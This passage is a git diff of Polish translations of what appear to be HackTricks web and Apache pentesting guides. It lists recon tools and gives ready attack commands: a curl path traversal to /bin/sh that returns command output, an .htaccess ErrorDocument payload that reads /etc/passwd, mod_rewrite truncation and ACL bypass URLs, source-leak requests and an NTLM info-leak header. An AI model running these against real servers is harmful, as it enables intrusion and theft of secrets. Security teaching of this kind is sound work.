Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Rozszerzenie Burp do znajdowania ścieżek i parametrów w plikach JS. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które dla danego .js.map URL pobierze dla Ciebie beautified kod JS -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Narzędzie używane do odkrywania endpointów dla zadanego celu. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkrywa linki z wayback machine (również pobierając odpowiedzi w wayback i szukając kolejnych linków) -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (nawet poprzez wypełnianie formularzy) i także znajdź wrażliwe info używając specyficznych regexów. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w headless browser i wypisuje wszystkie URL-e załadowane przez stronę. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do discovery treści łączące kilka opcji poprzednich narzędzi. +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Rozszerzenie Burp do znajdowania path i parametrów w plikach JS. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które podając URL do .js.map pobierze dla Ciebie beautified kod JS. +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Narzędzie używane do odkrywania endpointów dla danego targetu. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkrywa linki z wayback machine (również pobierając odpowiedzi w wayback i szukając dalszych linków). +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (nawet z wypełnianiem formularzy) i również wyszukuje wrażliwe informacje używając specyficznych regexów. - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany, wielofunkcyjny GUI web security Crawler/Spider zaprojektowany dla profesjonalistów cyberbezpieczeństwa. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): To pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do ekstrakcji URL-i, ścieżek, sekretów i innych interesujących danych z kodu JavaScript. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste **Burp Suite extension** do **wyciągania parametrów i endpointów** z requestów, by tworzyć niestandardowe wordlisty do fuzzingu i enumeracji. -- [**katana**](https://github.com/projectdiscovery/katana) (go): Świetne narzędzie do tego. -- [**Crawley**](https://github.com/s0rg/crawley) (go): Wypisze każdy link, który potrafi znaleźć. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do ekstrakcji URL-i, ścieżek, sekretów i innych interesujących danych z kodu źródłowego JavaScript. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste **Burp Suite extension** do **ekstrakcji parametów i endpointów** z requestów w celu tworzenia niestandardowych wordlist do fuzzingu i enumeracji. +- [**katana**](https://github.com/projectdiscovery/katana) (go): Świetne narzędzie do tego zadania. +- [**Crawley**](https://github.com/s0rg/crawley) (go): Wypisuje każdy link, który jest w stanie znaleźć. ### Brute Force directories and files -Zacznij **brute-forcing** od katalogu root i upewnij się, że brute-forcujesz **wszystkie** **katalogi znalezione** używając **tej metody** oraz wszystkie katalogi **odkryte** przez **Spidering** (możesz wykonywać to brute-forcing **rekurencyjnie** i dopisywać na początku użytej wordlisty nazwy znalezionych katalogów).\ +Zacznij **brute-forcing** od katalogu root i upewnij się, że przeprowadzasz brute-forcing **wszystkich** **katalogów znalezionych** używając **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz wykonywać brute-forcing **rekursywnie** i dopisywać na początku używanej wordlisty nazwy znalezionych katalogów).\ Narzędzia: -- **Dirb** / **Dirbuster** - Zawarte w Kali, **stare** (i **wolne**) ale funkcjonalne. Pozwalają na auto-signed certyfikaty i wyszukiwanie rekurencyjne. Zbyt wolne w porównaniu z innymi opcjami. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na auto-signed certyfikaty ale** pozwala na wyszukiwanie rekurencyjne. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na auto-signed certyfikaty, **nie** posiada **rekurencyjnego** searchu. +- **Dirb** / **Dirbuster** - Dołączone w Kali, **stare** (i **wolne**) ale funkcjonalne. Pozwalają na certyfikaty auto-signed i wyszukiwanie rekursywne. Zbyt wolne w porównaniu z innymi opcjami. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na certyfikaty auto-signed, ale** pozwala na wyszukiwanie rekursywne. +- [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na certyfikaty auto-signed, nie ma jednak wyszukiwania **rekursywnego**. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): To nie jest spider, ale narzędzie, które dla listy znalezionych URL-i usunie "zduplikowane" URL-e. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension do tworzenia listy katalogów z historii burp dla różnych stron -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Usuwa URL-e z zduplikowaną funkcjonalnością (na podstawie importów js) -- [**Chamaleon**](https://github.com/iustin24/chameleon): Używa wapalyzer do wykrywania używanych technologii i wyboru wordlist do użycia. +- [**uro**](https://github.com/s0md3v/uro) (python): To nie jest spider, ale narzędzie, które z listy znalezionych URL-i usuwa "zduplikowane" URL-e. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension do tworzenia listy katalogów z historii Burp dla różnych stron. +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Usuwa URL-e o zduplikowanych funkcjonalnościach (na podstawie importów js). +- [**Chamaleon**](https://github.com/iustin24/chameleon): Używa wapalyzer do wykrywania użytych technologii i dobiera do nich odpowiednie wordlisty. -Recommended dictionaries: +**Recommended dictionaries:** - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) @@ -267,41 +268,41 @@ Recommended dictionaries: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Uwaga: za każdym razem, gdy podczas brute-forcingu lub spideringu odkryty zostanie nowy katalog, powinien on zostać poddany Brute-Forcingowi._ +_Zauważ, że za każdym razem gdy podczas brute-forcingu lub spideringu odkryty zostanie nowy katalog, powinien on być poddany Brute-Forcingowi._ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Znajdź broken linki w HTML-ach, które mogą być podatne na takeovery -- **File Backups**: Po znalezieniu wszystkich plików, szukaj backupów wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Typowe warianty nazewnictwa backupu to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp oraz file.old._ Możesz też użyć narzędzia [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Discover new parameters**: Możesz użyć narzędzi takich jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **oraz** [**Param Miner**](https://github.com/PortSwigger/param-miner) **aby odkryć ukryte parametry. Jeśli możesz, spróbuj wyszukać** ukryte parametry w każdym wykonywalnym pliku webowym. +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Znajdź broken links w HTML-ach, które mogą być podatne na takeover. +- **File Backups**: Po znalezieniu plików, szukaj backupów plików wykonywalnych ("_.php_", "_.aspx_"...). Typowe warianty nazewnictwa backupu to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp oraz file.old._ Możesz też użyć narzędzia [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- **Discover new parameters**: Możesz użyć narzędzi takich jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **oraz** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do odkrywania ukrytych parametrów. Jeśli możesz, spróbuj wyszukać** ukryte parametry w każdym wykonywalnym pliku webowym. - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** Sprawdź komentarze we wszystkich plikach, możesz znaleźć w nich **credentials** lub **ukrytą funkcjonalność**. -- Jeśli grasz w **CTF**, "popularnym" trikiem jest **ukrycie** **informacji** wewnątrz komentarzy po **prawej** stronie **strony** (używając **setek** **spacji**, żeby nie widzieć danych gdy otworzysz źródło w przeglądarce). Inną możliwością jest użycie **wielu nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony. -- **API keys**: Jeśli **znajdziesz jakikolwiek API key** jest projekt, który pokazuje jak używać kluczy API różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: Jeśli znajdziesz klucz API zaczynający się od **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) aby sprawdzić, do których API klucz ma dostęp. -- **S3 Buckets**: Podczas spideringu sprawdź, czy jakikolwiek **subdomain** lub **link** jest powiązany z jakimś **S3 bucket**. W takim przypadku [**sprawdź** uprawnienia bucketu](buckets/index.html). +- **Comments:** Sprawdź komentarze we wszystkich plikach — możesz znaleźć w nich **credentials** lub **ukrytą funkcjonalność**. +- Jeśli bierzesz udział w **CTF**, "popularny" trik to **ukrycie** informacji w komentarzach po **prawej** stronie strony (używając setek spacji, żeby nie widzieć danych przy otwarciu źródła w przeglądarce). Inną możliwością jest użycie **kilku nowych linii** i ukrycie informacji w komentarzu na **dole** strony. +- **API keys**: Jeśli **znajdziesz jakikolwiek API key**, istnieją projekty pokazujące jak wykorzystać API keys dla różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: Jeśli znajdziesz API key zaczynający się od **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) aby sprawdzić, do których API klucz ma dostęp. +- **S3 Buckets**: Podczas spideringu sprawdź, czy któryś **subdomain** lub któryś **link** jest powiązany z jakimś **S3 bucket**. W takim przypadku [**sprawdź** uprawnienia bucketu](buckets/index.html). ### Special findings -**Podczas** wykonywania **spideringu** i **brute-forcingu** możesz znaleźć **interesujące** **rzeczy**, o których musisz **poinformować**. +Podczas **spideringu** i **brute-forcingu** możesz trafić na **interesujące** **znaleziska**, na które warto zwrócić uwagę. **Interesujące pliki** -- Szukaj **linków** do innych plików wewnątrz **plików CSS**. -- [If you find a _**.git**_ file some information can be extracted](git.md) -- Jeśli znajdziesz plik _**.env**_ można znaleźć informacje takie jak api keys, hasła do dbs i inne dane. -- Jeśli znajdziesz **API endpoints** powinieneś je [też przetestować](web-api-pentesting.md). To nie są pliki, ale prawdopodobnie "będą wyglądać" jak pliki. -- **JS files**: W sekcji spideringu wspomniano kilka narzędzi, które potrafią wyciągać ścieżki z plików JS. Warto także **monitorować każdy znaleziony plik JS**, ponieważ w niektórych przypadkach zmiana może wskazywać, że w kodzie pojawiła się potencjalna podatność. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.** -- Powinieneś także sprawdzić znalezione pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole) aby sprawdzić, czy są podatne. +- Szukaj **linków** do innych plików wewnątrz plików **CSS**. +- [Jeśli znajdziesz plik _**.git**_ można wydobyć pewne informacje](git.md) +- Jeśli znajdziesz _**.env**_, można odszukać takie informacje jak api keys, hasła do db i inne dane. +- Jeśli znajdziesz **API endpoints**, powinieneś je [też przetestować](web-api-pentesting.md). To nie są pliki, ale prawdopodobnie "będą wyglądać" jak pliki. +- **JS files**: W sekcji spideringu wspomniano kilka narzędzi do ekstrakcji ścieżek z plików JS. Warto także **monitorować każdy znaleziony plik JS**, bo w niektórych przypadkach zmiana może wskazywać, że potencjalna podatność została wprowadzona do kodu. Możesz użyć np. [**JSMon**](https://github.com/robre/jsmon)**.** +- Również sprawdź odkryte pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole) w celu wykrycia podatności. - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- W wielu sytuacjach będziesz musiał **zrozumieć wyrażenia regularne** użyte w kodzie. Przydatne będą: [https://regex101.com/](https://regex101.com) lub [https://pythonium.net/regex](https://pythonium.net/regex) -- Możesz również **monitorować pliki, w których wykryto formularze**, ponieważ zmiana w parametrze lub pojawienie się nowego formularza może wskazywać na potencjalnie nową podatną funkcjonalność. +- W wielu przypadkach trzeba będzie **zrozumieć wyrażenia regularne** używane w kodzie. Przydatne strony to: [https://regex101.com/](https://regex101.com) lub [https://pythonium.net/regex](https://pythonium.net/regex) +- Możesz także **monitorować pliki, w których wykryto formularze**, ponieważ zmiana parametrów lub pojawienie się nowego formularza może wskazywać na potencjalnie nową, podatną funkcjonalność. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -312,28 +313,28 @@ _Uwaga: za każdym razem, gdy podczas brute-forcingu lub spideringu odkryty zost **502 Proxy Error** -Jeśli jakaś strona **odpowiada** tym **kodem**, najprawdopodobniej to **źle skonfigurowany proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z headerem host i innymi typowymi headerami), **proxy** spróbuje **dostępować** się do _**google.com**_ **i znalazłeś** SSRF. +Jeśli jakaś strona **odpowiada** tym **kodem**, prawdopodobnie mamy do czynienia z **źle skonfigurowanym proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem host i innymi standardowymi nagłówkami), **proxy** spróbuje uzyskać dostęp do _**google.com**_ i w ten sposób znajdziesz SSRF. **NTLM Authentication - Info disclosure** -Jeśli serwer proszący o uwierzytelnienie jest **Windows** lub znajdziesz login żądający twoich **credentials** (i proszący o **domain** **name**), możesz wywołać **ujawnienie informacji**.\ -**Wyślij** nagłówek: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i z uwagi na to, jak działa **NTLM authentication**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\ -Możesz to **zautomatyzować** używając **nmap pluginu** "_http-ntlm-info.nse_". +Jeżeli serwer proszący o autoryzację jest **Windows** lub natrafisz na login proszący o Twoje **credentials** (i proszący o **nazwę domeny**), możesz sprowokować **ujawnienie informacji**.\ +**Wyślij** nagłówek: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i z uwagi na to jak działa **NTLM authentication**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\ +Możesz **zautomatyzować** to za pomocą pluginu nmap "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -Możliwe jest **włożenie treści** do **redirecta**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykona przekierowanie) ale coś może być **ukryte** w środku. +Możliwe jest **umieszczenie treści** wewnątrz **Redirectu**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykona przekierowanie), ale coś może być w ten sposób **ukryte**. ### Web Vulnerabilities Checking -Po wykonaniu kompleksowej enumeracji aplikacji webowej nadszedł czas, aby sprawdzić wiele możliwych podatności. Listę kontrolną znajdziesz tutaj: +Po wykonaniu kompleksowej enumeracji aplikacji webowej czas na sprawdzenie wielu możliwych podatności. Checklistę znajdziesz tutaj: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md {{#endref}} -Więcej informacji o web vulns: +Znajdź więcej informacji o web vulns w: - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index 71a926d35..b207051b7 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -4,11 +4,11 @@ ## Wykonywalne rozszerzenia PHP -Sprawdź, które rozszerzenia są uruchamiane przez serwer Apache. Aby je znaleźć, możesz wykonać: +Sprawdź, które rozszerzenia są ładowane przez serwer Apache. Aby je wyszukać, możesz wykonać: ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` -Ponadto, niektóre miejsca, w których można znaleźć tę konfigurację to: +Ponadto, niektóre miejsca, w których możesz znaleźć tę konfigurację to: ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf @@ -21,14 +21,14 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` -## LFI przez .htaccess ErrorDocument file provider (ap_expr) +## LFI via .htaccess ErrorDocument file provider (ap_expr) -Jeśli możesz kontrolować .htaccess katalogu i AllowOverride obejmuje FileInfo dla tej ścieżki, możesz przekształcić odpowiedzi 404 w dowolne odczyty lokalnych plików, używając funkcji ap_expr file() wewnątrz ErrorDocument. +Jeśli możesz kontrolować .htaccess katalogu i AllowOverride dla tej ścieżki zawiera FileInfo, możesz zamienić odpowiedzi 404 w dowolne odczyty lokalnych plików, używając funkcji ap_expr file() wewnątrz ErrorDocument. - Wymagania: - Apache 2.4 z włączonym parserem wyrażeń (ap_expr) (domyślnie w 2.4). -- vhost/dir musi pozwalać .htaccess na ustawienie ErrorDocument (AllowOverride FileInfo). -- Użytkownik procesu Apache musi mieć uprawnienia do odczytu docelowego pliku. +- vhost/dir musi umożliwiać .htaccess ustawienie ErrorDocument (AllowOverride FileInfo). +- Użytkownik workera Apache musi mieć uprawnienia do odczytu docelowego pliku. .htaccess payload: ```apache @@ -37,17 +37,17 @@ Header always set X-Debug-Tenant "demo" # On any 404 under this directory, return the contents of an absolute filesystem path ErrorDocument 404 %{file:/etc/passwd} ``` -Wywołaj, żądając dowolnej nieistniejącej ścieżki w tym katalogu, na przykład podczas nadużywania hostingu w stylu userdir: +Wywołaj, wysyłając żądanie do dowolnej nieistniejącej ścieżki w tym katalogu, na przykład przy nadużyciu userdir-style hosting: ```bash curl -s http://target/~user/does-not-exist | sed -n '1,20p' ``` -Notatki i wskazówki: -- Działają tylko ścieżki bezwzględne. Zawartość jest zwracana jako ciało odpowiedzi dla obsługi 404. -- Efektywne uprawnienia do odczytu są takie, jak użytkownika Apache (zazwyczaj www-data/apache). Nie odczytasz /root/* ani /etc/shadow w domyślnych konfiguracjach. -- Nawet jeśli .htaccess jest własnością root, jeśli katalog nadrzędny należy do tenant i pozwala na zmianę nazwy, możesz być w stanie zmienić nazwę oryginalnego .htaccess i przesłać własny zamiennik przez SFTP/FTP: +Notes and tips: +- Działają tylko ścieżki bezwzględne. Zawartość jest zwracana jako body odpowiedzi dla handlera 404. +- Efektywne uprawnienia do odczytu są takie, jak użytkownika Apache (zazwyczaj www-data/apache). Nie będziesz mógł odczytać /root/* ani /etc/shadow w domyślnych konfiguracjach. +- Nawet jeśli .htaccess jest własnością root, jeśli katalog nadrzędny należy do tenant-a i pozwala na rename, możesz być w stanie zmienić nazwę oryginalnego .htaccess i wgrać własne zastąpienie przez SFTP/FTP: - rename .htaccess .htaccess.bk - put your malicious .htaccess -- Użyj tego, aby odczytać źródła aplikacji w DocumentRoot lub w ścieżkach konfiguracji vhost i wydobyć sekrety (DB creds, API keys, itd.). +- Użyj tego, aby czytać kod aplikacji pod DocumentRoot lub w ścieżkach konfiguracji vhost i zebrać sekrety (DB creds, API keys, etc.). ## Confusion Attack @@ -61,7 +61,7 @@ The **`mod_rewrite`** will trim the content of `r->filename` after the character - **Path Truncation** -Możliwe jest nadużycie `mod_rewrite` jak w poniższym przykładzie reguły, aby uzyskać dostęp do innych plików w systemie plików, usuwając ostatnią część oczekiwanej ścieżki przez dodanie po prostu `?`: +It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -76,7 +76,7 @@ curl http://server/user/orange%2Fsecret.yml%3F ``` - **Mislead RewriteFlag Assignment** -W poniższej regule rewrite, dopóki URL kończy się na .php, będzie on traktowany i wykonywany jako php. Dlatego możliwe jest wysłanie URL, który kończy się na .php po znaku `?`, przy jednoczesnym wczytaniu w ścieżce innego typu pliku (np. obrazu) zawierającego złośliwy kod php: +W poniższej regule przepisywania, dopóki URL kończy się na .php, będzie on traktowany i wykonywany jako php. Dlatego możliwe jest przesłanie URL, który kończy się na .php po znaku `?`, podczas gdy w ścieżce ładowany jest inny typ pliku (np. obraz) zawierający złośliwy kod php wewnątrz niego: ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php ``` #### **ACL Bypass** -Możliwe jest uzyskanie dostępu do plików, do których użytkownik nie powinien mieć dostępu, nawet jeśli dostęp powinien być zablokowany przy konfiguracjach takich jak: +Możliwe jest uzyskanie dostępu do plików, do których użytkownik nie powinien mieć dostępu, nawet jeśli dostęp powinien być zablokowany przez konfiguracje takie jak: ```xml AuthType Basic @@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -To dlatego, że domyślnie PHP-FPM otrzymuje URL-e kończące się na `.php`, np. `http://server/admin.php%3Fooo.php`, a ponieważ PHP-FPM usuwa wszystko po znaku `?`, powyższy URL pozwoli załadować `/admin.php` nawet jeśli poprzednia reguła tego zabraniała. +Jest tak, ponieważ domyślnie PHP-FPM otrzyma URL-e kończące się na `.php`, jak `http://server/admin.php%3Fooo.php`, i ponieważ PHP-FPM usunie wszystko po znaku `?`, poprzedni URL pozwoli na załadowanie `/admin.php`, nawet jeśli wcześniejsza reguła tego zabraniała. -### Zamieszanie związane z DocumentRoot +### Nieporozumienie wokół DocumentRoot ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -Ciekawostka dotycząca Apache: powyższy rewrite będzie próbował uzyskać dostęp do pliku zarówno z documentRoot, jak i z root. Tak więc żądanie do `https://server/abouth.html` sprawdzi istnienie pliku w `/var/www/html/about.html` oraz w `/about.html` w systemie plików. Co w praktyce można wykorzystać do uzyskania dostępu do plików w systemie plików. +Ciekawostka o Apache: poprzedni rewrite spróbuje uzyskać dostęp do pliku zarówno z documentRoot, jak i z root. Zatem żądanie do `https://server/abouth.html` sprawdzi obecność pliku w `/var/www/html/about.html` oraz w `/about.html` w systemie plików. To w praktyce można wykorzystać do uzyskania dostępu do plików w systemie plików. #### **Ujawnienie kodu źródłowego po stronie serwera** - **Ujawnij kod źródłowy CGI** -Wystarczy dodać %3F na końcu, aby spowodować leak kodu źródłowego modułu cgi: +Wystarczy dodanie %3F na końcu, aby spowodować leak kodu źródłowego modułu CGI: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -123,9 +123,9 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F # ... # # the source code of download.cgi ``` -- **Ujawnij kod źródłowy PHP** +- **Ujawnij PHP Source Code** -Jeśli serwer obsługuje różne domeny, a jedna z nich jest domeną statyczną, można to wykorzystać do przeszukiwania systemu plików i leak php code: +Jeśli serwer ma różne domeny, z których jedna jest domeną statyczną, można to wykorzystać do przeszukiwania systemu plików i leak php code: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" @@ -133,14 +133,14 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" ``` #### **Local Gadgets Manipulation** -Głównym problemem poprzedniego ataku jest to, że domyślnie większość dostępu do systemu plików zostanie zablokowana, jak w Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): +Głównym problemem poprzedniego ataku jest to, że domyślnie większość dostępu do systemu plików będzie odmówiona, jak w Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): ```xml AllowOverride None Require all denied ``` -Jednak systemy operacyjne [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) domyślnie zezwalają na `/usr/share`: +Jednak systemy [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) domyślnie zezwalają na `/usr/share`: ```xml AllowOverride None @@ -149,36 +149,36 @@ Require all granted ``` Dlatego możliwe byłoby **wykorzystanie plików znajdujących się w `/usr/share` w tych dystrybucjach.** -**Local Gadget to Information Disclosure** +**Lokalny gadget do ujawnienia informacji** -- **Apache HTTP Server** z **websocketd** może ujawnić skrypt **dump-env.php** pod **/usr/share/doc/websocketd/examples/php/**, który może leak wrażliwe zmienne środowiskowe. -- Serwery z **Nginx** lub **Jetty** mogą ujawnić sensitive web application information (np. **web.xml**) przez swoje domyślne web rooty umieszczone pod **/usr/share**: +- **Apache HTTP Server** z **websocketd** może ujawniać skrypt **dump-env.php** w **/usr/share/doc/websocketd/examples/php/**, który może leak wrażliwe zmienne środowiskowe. +- Serwery z **Nginx** lub **Jetty** mogą ujawniać wrażliwe informacje aplikacji webowej (np. **web.xml**) przez swoje domyślne web rooty umieszczone pod **/usr/share**: - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** -**Local Gadget to XSS** +**Lokalny gadget do XSS** -- Na Ubuntu Desktop z zainstalowanym **LibreOffice**, wykorzystanie funkcji zmiany języka w plikach pomocy może doprowadzić do **Cross-Site Scripting (XSS)**. Manipulacja URL-em pod **/usr/share/libreoffice/help/help.html** może przekierować do złośliwych stron lub starszych wersji przez unsafe RewriteRule. +- Na Ubuntu Desktop z zainstalowanym **LibreOffice**, wykorzystanie funkcji przełączania języka w plikach pomocy może prowadzić do **Cross-Site Scripting (XSS)**. Manipulacja URL-em w **/usr/share/libreoffice/help/help.html** może przekierować na złośliwe strony lub starsze wersje przez niebezpieczne **RewriteRule**. -**Local Gadget to LFI** +**Lokalny gadget do LFI** -- Jeśli PHP lub niektóre front-endowe pakiety jak **JpGraph** czy **jQuery-jFeed** są zainstalowane, ich pliki mogą zostać wykorzystane do odczytu wrażliwych plików jak **/etc/passwd**: +- Jeśli PHP lub pewne pakiety front-endowe, takie jak **JpGraph** czy **jQuery-jFeed**, są zainstalowane, ich pliki mogą zostać wykorzystane do odczytu wrażliwych plików, takich jak **/etc/passwd**: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** -**Local Gadget to SSRF** +**Lokalny gadget do SSRF** -- Wykorzystanie **MagpieRSS's magpie_debug.php** w 